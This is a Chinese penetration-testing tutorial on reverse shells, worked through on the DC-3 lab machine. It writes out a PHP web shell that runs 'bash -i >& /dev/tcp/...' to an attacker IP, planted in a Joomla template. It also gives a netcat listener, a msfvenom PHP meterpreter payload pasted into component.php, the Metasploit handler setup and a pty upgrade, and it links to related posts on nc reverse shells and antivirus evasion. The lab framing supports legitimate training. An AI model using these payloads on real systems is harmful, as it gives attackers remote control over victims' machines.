2022渗透测试-反弹shell的详细讲解

简介: 2022渗透测试-反弹shell的详细讲解

 目录

1.反弹shell简介

2.为什么要进行反弹shell

3.反弹shell的演示

1.bash反弹shell

2.msf反弹shell

1.反弹shell简介

反弹shell是一种反向链接,与正向的ssh等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用。

2.为什么要进行反弹shell

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。

那么什么情况下正向连接不太好用了呢:

1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2. 它的ip会动态改变,你不能持续控制。

3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹 shell。

3.反弹shell的演示

1.bash反弹shell

这里以dc-3靶场为例,具体的操作流程我在上一篇文章中发布过了,下面是链接。

网络异常,图片无法展示
|
我们在网站中到找了index.php文件,此时我们就可以通过反弹shell,使用nc监听反弹的端口。

image.gif编辑

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.120.129/1234 0>&1' ");?>

image.gif

bash -i >& /dev/tcp/攻击端ip/4100 0>&1
bash -i表示启动一个交互式的shell;
>& 这个交互式shell的标准输出和标准错误输出,重定向到这socket上/dev/tcp/攻击端ip/4100,也即发送到/dev/tcp/攻击端ip/4100远端;
0>&1 标准输入重定向到标准输出上;
简而言之,就是启动一个交互式shell,这个交互式shell的输入来自攻击端,输出也到攻击端。

image.gif编辑

本地监听1234端口

nc -lvvp  1234

image.gif

image.gif编辑

然后登陆下面这个网址,也就是index.php所在的位置。

http://192.168.143.136/templates/beez3/index.php

image.gif

此时,可以看到反弹shell成功。

image.gif编辑

2.msf反弹shell

MSF制作PHP木马

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.120.129 LPORT=4444

image.gif

image.gif编辑

直接将内容粘贴至component.php

image.gif编辑

MSF建立会话

#1.使用Handler模块
msf6 >use exploit/multi/handler
#2.设置payload
msf6> set payload php/meterpreter/reverse_tcp
#3.设置监听IP
msf6> set LHOST 192.168.120.129
#4.设置监听端口
msf6> set LPORT 4444
#开启监听
msf6> run

image.gif

开启监听后,当我们访问http://dc-3/templates/beez3/component.php,即可得到会话

系统提权

此时进入shell,发现看不到命令提示,使用python进入伪终端。

python -c 'import pty;pty.spawn("/bin/bash")'

image.gif

image.gif编辑


相关文章
|
6月前
|
Shell Linux Windows
nc简单反弹shell
该内容描述了在Windows和Linux环境中使用`nc`(Netcat)工具建立反弹shell的过程。在Windows上,反弹端通过命令`nc -e cmd IP 端口`将控制权反弹到指定IP;控制端则运行`nc -lvvp 端口`等待连接。在Linux环境下,类似地,使用`nc -l -v -p 端口`作为控制端,而被控端用`nc 目标IP 端口`进行连接。文中还包含相关截图以辅助说明。
166 0
|
6月前
|
监控 网络协议 Unix
Linux命令-nc(端口监控、文件传输、反弹shell等)
Linux命令-nc(端口监控、文件传输、反弹shell等)
436 0
|
6月前
|
网络协议 Shell Linux
【Shell 命令集合 网络通讯 】⭐⭐⭐Linux 测试与目标主机之间的网络连接ping 命令 使用指南
【Shell 命令集合 网络通讯 】⭐⭐⭐Linux 测试与目标主机之间的网络连接ping 命令 使用指南
167 1
|
Shell 测试技术
Shell编程实战的命令测试
Shell编程实战的命令测试
55 1
|
1月前
|
分布式计算 Hadoop Shell
Hadoop-35 HBase 集群配置和启动 3节点云服务器 集群效果测试 Shell测试
Hadoop-35 HBase 集群配置和启动 3节点云服务器 集群效果测试 Shell测试
69 4
|
1月前
|
监控 安全 Linux
Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(一)
Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(一)
|
1月前
|
安全 Unix Linux
Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(二)
Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(二)
|
5月前
|
网络协议 Linux Shell
基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载
基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载
|
6月前
|
Oracle 关系型数据库 大数据
助力工业物联网,工业大数据之服务域:Shell调度测试【三十三】
助力工业物联网,工业大数据之服务域:Shell调度测试【三十三】
51 1
|
6月前
|
Shell Windows Perl
Shell编程自动化之数学运算与条件测试
本文主要介绍了Shell编程自动化之数学运算与条件测试,并结合实例测试。
48 0